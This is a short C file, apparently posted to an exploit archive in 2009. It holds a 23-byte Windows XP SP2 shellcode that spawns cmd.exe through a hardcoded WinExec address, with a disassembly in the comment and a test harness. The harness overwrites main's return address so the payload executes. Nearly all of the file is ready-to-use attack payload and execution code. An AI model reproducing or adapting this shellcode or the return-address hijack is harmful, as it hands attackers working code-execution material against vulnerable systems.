/*
win32/xp sp2 (En) cmd.exe 23 bytes
Author : Mountassif Moad
A.K.A : Stack
Description : It's a 23 Byte Shellcode which Execute Cmd.exe Tested Under Windows Xp SP2 En
get the following if we disassemle this code compiled with olly debugger
00402000 > 8BEC MOV EBP,ESP
00402002 . 68 65786520 PUSH 20657865
00402007 . 68 636D642E PUSH 2E646D63
0040200C . 8D45 F8 LEA EAX,DWORD PTR SS:[EBP-8]
0040200F . 50 PUSH EAX
00402010 . B8 8D15867C MOV EAX,kernel32.WinExec
00402015 . FFD0 CALL EAX
*/
#include <stdio.h>
unsigned char shellcode[] =
"\x8b\xec\x68\x65\x78\x65"
"\x20\x68\x63\x6d\x64\x2e"
"\x8d\x45\xf8\x50\xb8\x8D"
"\x15\x86\x7C\xff\xd0";
int main ()
{
int *ret;
ret=(int *)&ret+2;
printf("Shellcode Length is : %d\n",strlen(shellcode));
(*ret)=(int)shellcode;
return 0;
}
// milw0rm.com [2009-07-17]
